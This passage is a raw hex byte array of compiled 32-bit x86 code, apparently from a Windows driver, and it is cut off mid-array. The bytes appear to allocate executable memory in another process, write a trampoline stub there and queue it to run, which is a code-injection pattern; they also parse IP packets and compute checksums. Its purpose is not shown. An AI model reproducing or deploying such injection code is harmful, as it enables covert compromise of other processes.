0x8b,0xe5,0x5d,0xc2,0x10,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x6a,0xff,0x68,0xf0,0x2c,0x00,0x10,0x68,0x2a,0x2c,0x00,0x10,0x64,
0xa1,0x00,0x00,0x00,0x00,0x50,0x64,0x89,0x25,0x00,0x00,0x00,0x00,0x81,0xc4,0x60,
0xff,0xff,0xff,0x53,0x56,0x57,0x89,0x65,0xe8,0xc6,0x45,0xdf,0x00,0xc7,0x45,0xe0,
0x00,0x00,0x00,0x00,0x8d,0x45,0xe0,0x50,0x6a,0x00,0x6a,0x00,0x6a,0x00,0x6a,0x00,
0x68,0x00,0x02,0x00,0x00,0x8b,0x4d,0x08,0x51,0xff,0x15,0x24,0x03,0x00,0x10,0x89,
0x45,0xe4,0x83,0x7d,0xe4,0x00,0x0f,0x8c,0xfc,0x02,0x00,0x00,0x6a,0x00,0x6a,0x18,
0x8d,0x55,0xc4,0x52,0x6a,0x00,0x8b,0x45,0xe0,0x50,0xff,0x15,0xd0,0x02,0x00,0x10,
0x89,0x45,0xe4,0x83,0x7d,0xe4,0x00,0x7d,0x16,0x8b,0x4d,0xe4,0x51,0x68,0x20,0x05,
0x00,0x10,0xe8,0x1b,0x14,0x00,0x00,0x83,0xc4,0x08,0xe9,0xbd,0x02,0x00,0x00,0x8d,
0x55,0xa8,0x52,0x8b,0x45,0x08,0x50,0xff,0x15,0xcc,0x02,0x00,0x10,0x8b,0x4d,0xc8,
0x8b,0x51,0x08,0x89,0x55,0xc0,0xc7,0x45,0xa4,0x00,0x00,0x00,0x00,0x8d,0x45,0xa4,
0x50,0x8b,0x4d,0x14,0x51,0x8b,0x55,0x10,0x52,0x8b,0x45,0xe0,0x50,0xe8,0x7e,0xfd,
0xff,0xff,0x0f,0xb6,0xc8,0x85,0xc9,0x0f,0x84,0x75,0x02,0x00,0x00,0xc7,0x45,0xfc,
0x00,0x00,0x00,0x00,0x8b,0x55,0x10,0x8b,0x45,0xa4,0x03,0x42,0x3c,0x89,0x45,0x9c,
0x8b,0x4d,0x9c,0x8b,0x55,0xa4,0x03,0x51,0x28,0x89,0x55,0x94,0x8b,0x45,0x94,0x50,
0x68,0x54,0x05,0x00,0x10,0xe8,0xa8,0x13,0x00,0x00,0x83,0xc4,0x08,0xc7,0x45,0x8c,
0x00,0x00,0x00,0x00,0x68,0x80,0x11,0x00,0x10,0xe8,0x22,0xfb,0xff,0xff,0x89,0x45,
0x98,0x8b,0x4d,0x98,0x83,0xc1,0x29,0x89,0x4d,0x90,0x6a,0x40,0x68,0x00,0x30,0x00,
0x00,0x8d,0x55,0x90,0x52,0x6a,0x00,0x8d,0x45,0x8c,0x50,0x8b,0x4d,0xe0,0x51,0xff,
0x15,0xac,0x02,0x00,0x10,0x89,0x45,0xa0,0x83,0x7d,0xa0,0x00,0x0f,0x8c,0xc9,0x01,
0x00,0x00,0x8b,0x55,0x8c,0x52,0x68,0x8c,0x05,0x00,0x10,0xe8,0x52,0x13,0x00,0x00,
0x83,0xc4,0x08,0x8b,0x45,0x90,0x50,0x68,0x90,0x00,0x00,0x00,0x8b,0x4d,0x8c,0x51,
0xe8,0x49,0x13,0x00,0x00,0x83,0xc4,0x0c,0x8b,0x55,0x8c,0xc6,0x02,0x68,0x8b,0x45,
0x8c,0x8b,0x4d,0xa4,0x89,0x48,0x01,0x8b,0x55,0x8c,0xc6,0x42,0x05,0xe8,0x8b,0x45,
0x8c,0x83,0xc0,0x29,0x8b,0x4d,0x8c,0x83,0xc1,0x06,0x2b,0xc1,0x83,0xe8,0x04,0x8b,
0x55,0x8c,0x89,0x42,0x06,0xb8,0x85,0xc0,0x00,0x00,0x8b,0x4d,0x8c,0x66,0x89,0x41,
0x0a,0xba,0x0f,0x84,0x00,0x00,0x8b,0x45,0x8c,0x66,0x89,0x50,0x0c,0x8b,0x4d,0x8c,
0x83,0xc1,0x26,0x8b,0x55,0x8c,0x83,0xc2,0x0e,0x2b,0xca,0x83,0xe9,0x04,0x8b,0x45,
0x8c,0x89,0x48,0x0e,0x8b,0x4d,0x8c,0xc6,0x41,0x12,0x68,0x8b,0x55,0x8c,0xc7,0x42,
0x13,0x00,0x00,0x00,0x00,0x8b,0x45,0x8c,0xc6,0x40,0x17,0x68,0x8b,0x4d,0x8c,0xc7,
0x41,0x18,0x01,0x00,0x00,0x00,0x8b,0x55,0x8c,0xc6,0x42,0x1c,0x68,0x8b,0x45,0x8c,
0x8b,0x4d,0xa4,0x89,0x48,0x1d,0x8b,0x55,0x8c,0xc6,0x42,0x21,0xe8,0x8b,0x45,0x8c,
0x83,0xc0,0x22,0x8b,0x4d,0x94,0x2b,0xc8,0x83,0xe9,0x04,0x8b,0x55,0x8c,0x89,0x4a,
0x22,0x8b,0x45,0x8c,0xc6,0x40,0x26,0xc2,0xb9,0x03,0x00,0x00,0x00,0x8b,0x55,0x8c,
0x66,0x89,0x4a,0x27,0x8b,0x45,0x98,0x50,0x68,0x80,0x11,0x00,0x10,0x8b,0x4d,0x8c,
0x83,0xc1,0x29,0x51,0xe8,0xa5,0x12,0x00,0x00,0x83,0xc4,0x0c,0x8b,0x55,0x0c,0x03,
0x15,0x80,0x2d,0x00,0x10,0x89,0x55,0x88,0x6a,0x00,0x6a,0x01,0x8b,0x45,0x8c,0x50,
0x6a,0x00,0x68,0xb0,0x13,0x00,0x10,0x6a,0x00,0x8b,0x4d,0x0c,0x51,0x8d,0x95,0x58,
0xff,0xff,0xff,0x52,0xff,0x15,0xc8,0x02,0x00,0x10,0x8b,0x45,0x88,0xc6,0x40,0x16,
0x01,0x6a,0x00,0x6a,0x00,0x6a,0x00,0x8d,0x8d,0x58,0xff,0xff,0xff,0x51,0xff,0x15,
0xc4,0x02,0x00,0x10,0x0f,0xb6,0xd0,0x85,0xd2,0x74,0x71,0xc7,0x85,0x50,0xff,0xff,
0xff,0x80,0x69,0x67,0xff,0xc7,0x85,0x54,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x8d,
0x85,0x50,0xff,0xff,0xff,0x50,0x6a,0x00,0x6a,0x00,0x6a,0x00,0x68,0xcc,0x2d,0x00,
0x10,0xff,0x15,0xc0,0x02,0x00,0x10,0x89,0x45,0xa0,0x81,0x7d,0xa0,0x02,0x01,0x00,
0x00,0x75,0x0f,0x68,0xac,0x05,0x00,0x10,0xe8,0xd5,0x11,0x00,0x00,0x83,0xc4,0x04,
0xeb,0x17,0x83,0x7d,0xa0,0x00,0x7c,0x11,0x68,0xe0,0x05,0x00,0x10,0xe8,0xc0,0x11,
0x00,0x00,0x83,0xc4,0x04,0xc6,0x45,0xdf,0x01,0x8d,0x8d,0x50,0xff,0xff,0xff,0x51,
0x6a,0x00,0x6a,0x00,0xff,0x15,0xbc,0x02,0x00,0x10,0xeb,0x0d,0x68,0x08,0x06,0x00,
0x10,0xe8,0x9c,0x11,0x00,0x00,0x83,0xc4,0x04,0xeb,0x11,0x8b,0x55,0xa0,0x52,0x68,
0x24,0x06,0x00,0x10,0xe8,0x89,0x11,0x00,0x00,0x83,0xc4,0x08,0xc7,0x45,0xfc,0xff,
0xff,0xff,0xff,0xeb,0x1d,0xb8,0x01,0x00,0x00,0x00,0xc3,0x8b,0x65,0xe8,0x68,0x58,
0x06,0x00,0x10,0xe8,0x6a,0x11,0x00,0x00,0x83,0xc4,0x04,0xc7,0x45,0xfc,0xff,0xff,
0xff,0xff,0x8d,0x45,0xa8,0x50,0xff,0x15,0xb8,0x02,0x00,0x10,0x8b,0x4d,0xe0,0x51,
0xff,0x15,0xb4,0x02,0x00,0x10,0xeb,0x11,0x8b,0x55,0xe4,0x52,0x68,0x78,0x06,0x00,
0x10,0xe8,0x3c,0x11,0x00,0x00,0x83,0xc4,0x08,0x8a,0x45,0xdf,0x8b,0x4d,0xf0,0x64,
0x89,0x0d,0x00,0x00,0x00,0x00,0x5f,0x5e,0x5b,0x8b,0xe5,0x5d,0xc2,0x10,0x00,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x0c,0xc6,0x45,0xff,0x00,0xc7,0x45,0xf4,0x00,0x00,0x00,
0x00,0xc7,0x45,0xf8,0x00,0x00,0x00,0x00,0x8d,0x45,0xf4,0x50,0x8d,0x4d,0xf8,0x51,
0x6a,0x00,0x8b,0x55,0x08,0x52,0xe8,0xf5,0xf8,0xff,0xff,0x0f,0xb6,0xc0,0x85,0xc0,
0x74,0x2c,0x8b,0x4d,0x10,0x51,0x8b,0x55,0x0c,0x52,0x8b,0x45,0xf8,0x50,0x8b,0x4d,
0xf4,0x51,0xe8,0x39,0xfc,0xff,0xff,0x88,0x45,0xff,0x8b,0x4d,0xf4,0xff,0x15,0x94,
0x02,0x00,0x10,0x8b,0x4d,0xf8,0xff,0x15,0x94,0x02,0x00,0x10,0xeb,0x11,0x8b,0x55,
0x08,0x52,0x68,0xa8,0x06,0x00,0x10,0xe8,0xb6,0x10,0x00,0x00,0x83,0xc4,0x08,0x8a,
0x45,0xff,0x8b,0xe5,0x5d,0xc2,0x0c,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x0c,0xc6,0x45,0xff,0x00,0xc7,0x45,0xf4,0x00,0x00,0x00,
0x00,0xc7,0x45,0xf8,0x00,0x00,0x00,0x00,0x8d,0x45,0xf4,0x50,0x8d,0x4d,0xf8,0x51,
0x8b,0x55,0x08,0x52,0x6a,0x00,0xe8,0x75,0xf8,0xff,0xff,0x0f,0xb6,0xc0,0x85,0xc0,
0x74,0x2c,0x8b,0x4d,0x10,0x51,0x8b,0x55,0x0c,0x52,0x8b,0x45,0xf8,0x50,0x8b,0x4d,
0xf4,0x51,0xe8,0xb9,0xfb,0xff,0xff,0x88,0x45,0xff,0x8b,0x4d,0xf4,0xff,0x15,0x94,
0x02,0x00,0x10,0x8b,0x4d,0xf8,0xff,0x15,0x94,0x02,0x00,0x10,0xeb,0x11,0x8b,0x55,
0x08,0x52,0x68,0xe8,0x06,0x00,0x10,0xe8,0x36,0x10,0x00,0x00,0x83,0xc4,0x08,0x8a,
0x45,0xff,0x8b,0xe5,0x5d,0xc2,0x0c,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x81,0xec,0x20,0x01,0x00,0x00,0xc7,0x85,0xe0,0xfe,0xff,0xff,0x1c,
0x01,0x00,0x00,0x8d,0x85,0xe0,0xfe,0xff,0xff,0x50,0xff,0x15,0xdc,0x02,0x00,0x10,
0x85,0xc0,0x7d,0x07,0x32,0xc0,0xe9,0x0f,0x01,0x00,0x00,0x83,0xbd,0xe4,0xfe,0xff,
0xff,0x05,0x75,0x22,0x83,0xbd,0xe8,0xfe,0xff,0xff,0x01,0x75,0x19,0xc7,0x05,0xdc,
0x2d,0x00,0x10,0x89,0x00,0x00,0x00,0xc7,0x05,0x80,0x2d,0x00,0x10,0x34,0x00,0x00,
0x00,0xe9,0xbf,0x00,0x00,0x00,0x83,0xbd,0xe4,0xfe,0xff,0xff,0x05,0x75,0x39,0x83,
0xbd,0xe8,0xfe,0xff,0xff,0x02,0x75,0x30,0xc7,0x05,0xdc,0x2d,0x00,0x10,0x8f,0x00,
0x00,0x00,0xc7,0x05,0x80,0x2d,0x00,0x10,0x28,0x00,0x00,0x00,0x0f,0xb7,0x4d,0xf4,
0x85,0xc9,0x75,0x12,0x0f,0xb7,0x55,0xf6,0x85,0xd2,0x75,0x0a,0xc7,0x05,0x80,0x2d,
0x00,0x10,0x34,0x00,0x00,0x00,0xeb,0x7d,0x83,0xbd,0xe4,0xfe,0xff,0xff,0x06,0x75,
0x3b,0x83,0xbd,0xe8,0xfe,0xff,0xff,0x00,0x75,0x32,0x0f,0xb7,0x45,0xf4,0x85,0xc0,
0x75,0x14,0x0f,0xb7,0x4d,0xf6,0x85,0xc9,0x75,0x0c,0xc7,0x05,0xdc,0x2d,0x00,0x10,
0xcf,0x00,0x00,0x00,0xeb,0x0a,0xc7,0x05,0xdc,0x2d,0x00,0x10,0xd2,0x00,0x00,0x00,
0xc7,0x05,0x80,0x2d,0x00,0x10,0x38,0x00,0x00,0x00,0xeb,0x39,0x83,0xbd,0xe4,0xfe,
0xff,0xff,0x06,0x75,0x1f,0x83,0xbd,0xe8,0xfe,0xff,0xff,0x01,0x75,0x16,0xc7,0x05,
0xdc,0x2d,0x00,0x10,0xd7,0x00,0x00,0x00,0xc7,0x05,0x80,0x2d,0x00,0x10,0x40,0x00,
0x00,0x00,0xeb,0x11,0x68,0x28,0x07,0x00,0x10,0xe8,0x14,0x0f,0x00,0x00,0x83,0xc4,
0x04,0x32,0xc0,0xeb,0x25,0x8b,0x15,0xdc,0x2d,0x00,0x10,0x52,0x68,0x58,0x07,0x00,
0x10,0xe8,0xfc,0x0e,0x00,0x00,0x83,0xc4,0x08,0x6a,0x00,0x6a,0x01,0x68,0xcc,0x2d,
0x00,0x10,0xff,0x15,0xd8,0x02,0x00,0x10,0xb0,0x01,0x8b,0xe5,0x5d,0xc3,0xcc,0xcc,
0x55,0x8b,0xec,0x51,0xff,0x15,0x88,0x02,0x00,0x10,0x89,0x45,0xfc,0x81,0x7d,0xfc,
0x14,0x00,0x06,0x00,0x74,0x15,0x8b,0x45,0xfc,0x50,0x68,0x88,0x07,0x00,0x10,0xe8,
0xbe,0x0e,0x00,0x00,0x83,0xc4,0x08,0x32,0xc0,0xeb,0x5b,0x8b,0x4d,0x08,0x89,0x0d,
0xe0,0x2d,0x00,0x10,0xc7,0x05,0x88,0x2d,0x00,0x10,0x0c,0x00,0x00,0x00,0xc7,0x05,
0x8c,0x2d,0x00,0x10,0x08,0x00,0x00,0x00,0xc7,0x05,0x84,0x2d,0x00,0x10,0x24,0x00,
0x00,0x00,0xc7,0x05,0x90,0x2d,0x00,0x10,0xdc,0x00,0x00,0x00,0xc7,0x05,0x94,0x2d,
0x00,0x10,0x08,0x00,0x00,0x00,0xc7,0x05,0x98,0x2d,0x00,0x10,0xc0,0x01,0x00,0x00,
0xc7,0x05,0x9c,0x2d,0x00,0x10,0x9c,0x01,0x00,0x00,0xc7,0x05,0xa0,0x2d,0x00,0x10,
0x10,0x00,0x00,0x00,0xb0,0x01,0x8b,0xe5,0x5d,0xc2,0x04,0x00,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x6a,0xff,0x68,0x00,0x2d,0x00,0x10,0x68,0x2a,0x2c,0x00,0x10,0x64,
0xa1,0x00,0x00,0x00,0x00,0x50,0x64,0x89,0x25,0x00,0x00,0x00,0x00,0x83,0xc4,0xcc,
0x53,0x56,0x57,0xc7,0x45,0xe0,0x00,0x00,0x00,0x00,0xc7,0x45,0xfc,0x00,0x00,0x00,
0x00,0x8b,0x45,0x10,0xc7,0x00,0x00,0x00,0x00,0x00,0x8b,0x4d,0x08,0x8b,0x51,0x04,
0x89,0x55,0xe4,0xeb,0x08,0x8b,0x45,0xe4,0x8b,0x08,0x89,0x4d,0xe4,0x83,0x7d,0xe4,
0x00,0x0f,0x84,0xa2,0x02,0x00,0x00,0x8b,0x55,0xe4,0x8b,0x42,0x04,0x89,0x45,0xd8,
0x8b,0x4d,0xd8,0x0f,0xbf,0x51,0x06,0x83,0xe2,0x05,0x74,0x0b,0x8b,0x45,0xd8,0x8b,
0x48,0x0c,0x89,0x4d,0xc0,0xeb,0x17,0x6a,0x10,0x6a,0x00,0x6a,0x00,0x6a,0x01,0x6a,
0x00,0x8b,0x55,0xd8,0x52,0xff,0x15,0xe4,0x02,0x00,0x10,0x89,0x45,0xc0,0x8b,0x45,
0xc0,0x89,0x45,0xd4,0x83,0x7d,0xd4,0x00,0x75,0x2a,0x8b,0x4d,0x0c,0x83,0x39,0x00,
0x74,0x16,0x8b,0x55,0x10,0x83,0x3a,0x00,0x76,0x0e,0x6a,0x00,0x8b,0x45,0x0c,0x8b,
0x08,0x51,0xff,0x15,0x90,0x02,0x00,0x10,0xc7,0x45,0xe0,0x9a,0x00,0x00,0xc0,0xe9,
0x35,0x02,0x00,0x00,0x8b,0x55,0xe4,0x8b,0x45,0xd4,0x03,0x42,0x08,0x89,0x45,0xd4,
0x8b,0x4d,0xd8,0x8b,0x55,0xe4,0x8b,0x41,0x14,0x2b,0x42,0x08,0x89,0x45,0xdc,0x83,
0x7d,0xdc,0x00,0x0f,0x8e,0xbc,0x00,0x00,0x00,0x8b,0x4d,0x10,0x8b,0x11,0x03,0x55,
0xdc,0x89,0x55,0xd0,0x8b,0x45,0xd0,0x50,0x6a,0x00,0xff,0x15,0xe0,0x02,0x00,0x10,
0x89,0x45,0xcc,0x83,0x7d,0xcc,0x00,0x74,0x59,0x8b,0x4d,0x0c,0x83,0x39,0x00,0x74,
0x2e,0x8b,0x55,0x10,0x83,0x3a,0x00,0x76,0x26,0x8b,0x45,0x10,0x8b,0x08,0x51,0x8b,
0x55,0x0c,0x8b,0x02,0x50,0x8b,0x4d,0xcc,0x51,0xe8,0x60,0x0d,0x00,0x00,0x83,0xc4,
0x0c,0x6a,0x00,0x8b,0x55,0x0c,0x8b,0x02,0x50,0xff,0x15,0x90,0x02,0x00,0x10,0x8b,
0x4d,0xdc,0x51,0x8b,0x55,0xd4,0x52,0x8b,0x45,0x10,0x8b,0x4d,0xcc,0x03,0x08,0x51,
0xe8,0x39,0x0d,0x00,0x00,0x83,0xc4,0x0c,0x8b,0x55,0x0c,0x8b,0x45,0xcc,0x89,0x02,
0xeb,0x2a,0x8b,0x4d,0x0c,0x83,0x39,0x00,0x74,0x16,0x8b,0x55,0x10,0x83,0x3a,0x00,
0x76,0x0e,0x6a,0x00,0x8b,0x45,0x0c,0x8b,0x08,0x51,0xff,0x15,0x90,0x02,0x00,0x10,
0xc7,0x45,0xe0,0x9a,0x00,0x00,0xc0,0xe9,0x6d,0x01,0x00,0x00,0x8b,0x55,0x10,0x8b,
0x02,0x03,0x45,0xdc,0x8b,0x4d,0x10,0x89,0x01,0x8b,0x55,0xdc,0x8b,0x45,0x0c,0x8d,
0x0c,0x90,0x89,0x4d,0x0c,0x8b,0x55,0xd8,0x8b,0x02,0x89,0x45,0xd8,0x83,0x7d,0xd8,
0x00,0x0f,0x84,0x3d,0x01,0x00,0x00,0x8b,0x4d,0xd8,0x0f,0xbf,0x51,0x06,0x83,0xe2,
0x05,0x74,0x0b,0x8b,0x45,0xd8,0x8b,0x48,0x0c,0x89,0x4d,0xbc,0xeb,0x17,0x6a,0x10,
0x6a,0x00,0x6a,0x00,0x6a,0x01,0x6a,0x00,0x8b,0x55,0xd8,0x52,0xff,0x15,0xe4,0x02,
0x00,0x10,0x89,0x45,0xbc,0x8b,0x45,0xbc,0x89,0x45,0xd4,0x83,0x7d,0xd4,0x00,0x75,
0x2a,0x8b,0x4d,0x0c,0x83,0x39,0x00,0x74,0x16,0x8b,0x55,0x10,0x83,0x3a,0x00,0x76,
0x0e,0x6a,0x00,0x8b,0x45,0x0c,0x8b,0x08,0x51,0xff,0x15,0x90,0x02,0x00,0x10,0xc7,
0x45,0xe0,0x9a,0x00,0x00,0xc0,0xe9,0xde,0x00,0x00,0x00,0x8b,0x55,0xd8,0x8b,0x42,
0x14,0x89,0x45,0xdc,0x83,0x7d,0xdc,0x00,0x0f,0x8e,0xb9,0x00,0x00,0x00,0x8b,0x4d,
0x10,0x8b,0x11,0x03,0x55,0xdc,0x89,0x55,0xc8,0x8b,0x45,0xc8,0x50,0x6a,0x00,0xff,
0x15,0xe0,0x02,0x00,0x10,0x89,0x45,0xc4,0x83,0x7d,0xc4,0x00,0x74,0x59,0x8b,0x4d,
0x0c,0x83,0x39,0x00,0x74,0x2e,0x8b,0x55,0x10,0x83,0x3a,0x00,0x76,0x26,0x8b,0x45,
0x10,0x8b,0x08,0x51,0x8b,0x55,0x0c,0x8b,0x02,0x50,0x8b,0x4d,0xc4,0x51,0xe8,0x1b,
0x0c,0x00,0x00,0x83,0xc4,0x0c,0x6a,0x00,0x8b,0x55,0x0c,0x8b,0x02,0x50,0xff,0x15,
0x90,0x02,0x00,0x10,0x8b,0x4d,0xdc,0x51,0x8b,0x55,0xd4,0x52,0x8b,0x45,0x10,0x8b,
0x4d,0xc4,0x03,0x08,0x51,0xe8,0xf4,0x0b,0x00,0x00,0x83,0xc4,0x0c,0x8b,0x55,0x0c,
0x8b,0x45,0xc4,0x89,0x02,0xeb,0x27,0x8b,0x4d,0x0c,0x83,0x39,0x00,0x74,0x16,0x8b,
0x55,0x10,0x83,0x3a,0x00,0x76,0x0e,0x6a,0x00,0x8b,0x45,0x0c,0x8b,0x08,0x51,0xff,
0x15,0x90,0x02,0x00,0x10,0xc7,0x45,0xe0,0x9a,0x00,0x00,0xc0,0xeb,0x2b,0x8b,0x55,
0x10,0x8b,0x02,0x03,0x45,0xdc,0x8b,0x4d,0x10,0x89,0x01,0x8b,0x55,0xdc,0x8b,0x45,
0x0c,0x8d,0x0c,0x90,0x89,0x4d,0x0c,0x8b,0x55,0xd8,0x8b,0x02,0x89,0x45,0xd8,0xe9,
0xb9,0xfe,0xff,0xff,0xe9,0x4c,0xfd,0xff,0xff,0xc7,0x45,0xfc,0xff,0xff,0xff,0xff,
0xe8,0x02,0x00,0x00,0x00,0xeb,0x01,0xc3,0x8b,0x45,0xe0,0x8b,0x4d,0xf0,0x64,0x89,
0x0d,0x00,0x00,0x00,0x00,0x5f,0x5e,0x5b,0x8b,0xe5,0x5d,0xc2,0x0c,0x00,0xcc,0xcc,
0x55,0x8b,0xec,0x51,0x6a,0x12,0x6a,0x00,0xff,0x15,0xe0,0x02,0x00,0x10,0x89,0x45,
0xfc,0x83,0x7d,0xfc,0x00,0x74,0x44,0x8b,0x45,0xfc,0xc6,0x00,0x58,0x8b,0x4d,0xfc,
0xc6,0x41,0x01,0x68,0x8b,0x55,0xfc,0x8b,0x45,0x08,0x89,0x42,0x02,0x8b,0x4d,0xfc,
0xc6,0x41,0x06,0x68,0x8b,0x55,0xfc,0x8b,0x45,0x0c,0x89,0x42,0x07,0x8b,0x4d,0xfc,
0xc6,0x41,0x0b,0x50,0x8b,0x55,0xfc,0xc6,0x42,0x0c,0x68,0x8b,0x45,0xfc,0x8b,0x4d,
0x10,0x89,0x48,0x0d,0x8b,0x55,0xfc,0xc6,0x42,0x11,0xc3,0x8b,0x45,0xfc,0x8b,0xe5,
0x5d,0xc2,0x0c,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x0c,0x8b,0x45,0x14,0x89,0x45,0xfc,0x83,0x7d,0xfc,0x00,
0x74,0x54,0xc7,0x45,0xf8,0x00,0x00,0x00,0x00,0xc7,0x45,0xf4,0x00,0x00,0x00,0x00,
0x8d,0x4d,0xf4,0x51,0x8d,0x55,0xf8,0x52,0x8b,0x45,0xfc,0x50,0xe8,0x3f,0xfc,0xff,
0xff,0x85,0xc0,0x75,0x27,0x83,0x3d,0xe0,0x2d,0x00,0x10,0x00,0x74,0x12,0x8b,0x4d,
0xf4,0x51,0x8b,0x55,0xf8,0x52,0x8b,0x45,0x10,0x50,0xff,0x15,0xe0,0x2d,0x00,0x10,
0x6a,0x00,0x8b,0x4d,0xf8,0x51,0xff,0x15,0x90,0x02,0x00,0x10,0x8b,0x55,0xfc,0x8b,
0x02,0x89,0x45,0xfc,0xeb,0xa6,0x8b,0x4d,0x20,0x51,0x8b,0x55,0x1c,0x52,0x8b,0x45,
0x18,0x50,0x8b,0x4d,0x14,0x51,0x8b,0x55,0x10,0x52,0xff,0x55,0x0c,0x8b,0xe5,0x5d,
0xc2,0x1c,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x08,0x8b,0x45,0x08,0x03,0x05,0x9c,0x2d,0x00,0x10,0x8b,
0x08,0x89,0x4d,0xf8,0x68,0x20,0x21,0x00,0x10,0x6a,0x00,0x8b,0x55,0xf8,0x52,0xe8,
0xdc,0xfe,0xff,0xff,0x89,0x45,0xfc,0x83,0x7d,0xfc,0x00,0x74,0x0e,0x8b,0x45,0x08,
0x03,0x05,0x9c,0x2d,0x00,0x10,0x8b,0x4d,0xfc,0x89,0x08,0x8b,0x55,0x1c,0x52,0x8b,
0x45,0x18,0x50,0x8b,0x4d,0x14,0x51,0x8b,0x55,0x10,0x52,0xff,0x55,0x0c,0x83,0x7d,
0xfc,0x00,0x74,0x1a,0x8b,0x45,0x08,0x03,0x05,0x9c,0x2d,0x00,0x10,0x8b,0x4d,0xf8,
0x89,0x08,0x6a,0x00,0x8b,0x55,0xfc,0x52,0xff,0x15,0x90,0x02,0x00,0x10,0x8b,0xe5,
0x5d,0xc2,0x18,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x8b,0x45,0x08,0xc1,0xe8,0x10,0x8b,0x4d,0x08,0x81,0xe1,0xff,0xff,
0x00,0x00,0x03,0xc1,0x89,0x45,0x08,0x8b,0x55,0x08,0xc1,0xea,0x10,0x03,0x55,0x08,
0x89,0x55,0x08,0x8b,0x45,0x08,0xf7,0xd0,0x5d,0xc2,0x04,0x00,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x51,0x8b,0x45,0x10,0x89,0x45,0xfc,0x83,0x7d,0x0c,0x01,0x7e,0x20,
0x8b,0x4d,0x08,0x0f,0xb7,0x11,0x03,0x55,0xfc,0x89,0x55,0xfc,0x8b,0x45,0x0c,0x83,
0xe8,0x02,0x89,0x45,0x0c,0x8b,0x4d,0x08,0x83,0xc1,0x02,0x89,0x4d,0x08,0xeb,0xda,
0x83,0x7d,0x0c,0x00,0x7e,0x0c,0x8b,0x55,0x08,0x0f,0xb6,0x02,0x03,0x45,0xfc,0x89,
0x45,0xfc,0x8b,0x45,0xfc,0x8b,0xe5,0x5d,0xc2,0x0c,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x51,0x6a,0x00,0x8b,0x45,0x0c,0x50,0x8b,0x4d,0x08,0x51,0xe8,0x9d,
0xff,0xff,0xff,0x89,0x45,0xfc,0x8b,0x55,0xfc,0x52,0xe8,0x61,0xff,0xff,0xff,0x8b,
0xe5,0x5d,0xc2,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x51,0x8d,0x45,0x08,0x89,0x45,0xfc,0x8b,0x4d,0xfc,0x0f,0xb6,0x51,
0x03,0x81,0xe2,0xff,0x00,0x00,0x00,0x52,0x8b,0x45,0xfc,0x0f,0xb6,0x48,0x02,0x81,
0xe1,0xff,0x00,0x00,0x00,0x51,0x8b,0x55,0xfc,0x0f,0xb6,0x42,0x01,0x25,0xff,0x00,
0x00,0x00,0x50,0x8b,0x4d,0xfc,0x0f,0xb6,0x11,0x81,0xe2,0xff,0x00,0x00,0x00,0x52,
0x68,0xb8,0x08,0x00,0x10,0x68,0xe4,0x2d,0x00,0x10,0xe8,0x5b,0x09,0x00,0x00,0x83,
0xc4,0x18,0xb8,0xe4,0x2d,0x00,0x10,0x8b,0xe5,0x5d,0xc2,0x04,0x00,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0x3d,0x10,0x2e,0x00,0x10,0x00,0x74,0x20,0x83,0x3d,0x14,0x2e,
0x00,0x10,0x00,0x76,0x17,0xa1,0x14,0x2e,0x00,0x10,0x50,0x8b,0x0d,0x10,0x2e,0x00,
0x10,0x51,0x68,0xc8,0x08,0x00,0x10,0xe8,0x54,0xf7,0xff,0xff,0x5d,0xc2,0x04,0x00,
0x55,0x8b,0xec,0x83,0xec,0x3c,0x56,0x83,0x7d,0x10,0x22,0x73,0x05,0xe9,0x01,0x02,
0x00,0x00,0x8b,0x45,0x0c,0x89,0x45,0xec,0x8b,0x4d,0xec,0x0f,0xb7,0x51,0x0c,0x83,
0xfa,0x08,0x74,0x05,0xe9,0xea,0x01,0x00,0x00,0x8b,0x45,0xec,0x83,0xc0,0x0e,0x89,
0x45,0xe8,0x8b,0x4d,0xe8,0x8a,0x11,0xc0,0xea,0x04,0x80,0xe2,0x0f,0x0f,0xb6,0xc2,
0x83,0xf8,0x04,0x75,0x13,0x8b,0x4d,0xe8,0x8a,0x11,0x80,0xe2,0x0f,0x0f,0xb6,0xc2,
0xc1,0xe0,0x02,0x83,0xf8,0x14,0x74,0x05,0xe9,0xb6,0x01,0x00,0x00,0x8b,0x4d,0xe8,
0x0f,0xb6,0x51,0x09,0x83,0xfa,0x01,0x74,0x1c,0x8b,0x45,0xe8,0x0f,0xb6,0x48,0x09,
0x85,0xc9,0x74,0x11,0x8b,0x55,0xe8,0x0f,0xb6,0x42,0x09,0x83,0xf8,0x11,0x74,0x05,
0xe9,0x8e,0x01,0x00,0x00,0x8b,0x4d,0xe8,0x0f,0xb7,0x51,0x02,0x81,0xe2,0xff,0x00,
0x00,0x00,0xc1,0xe2,0x08,0x8b,0x45,0xe8,0x0f,0xb7,0x48,0x02,0x81,0xe1,0x00,0xff,
0x00,0x00,0xc1,0xf9,0x08,0x8d,0x54,0x0a,0x0e,0x3b,0x55,0x10,0x76,0x05,0xe9,0x60,
0x01,0x00,0x00,0x8b,0x45,0xe8,0x66,0x8b,0x48,0x0a,0x66,0x89,0x4d,0xd0,0x33,0xd2,
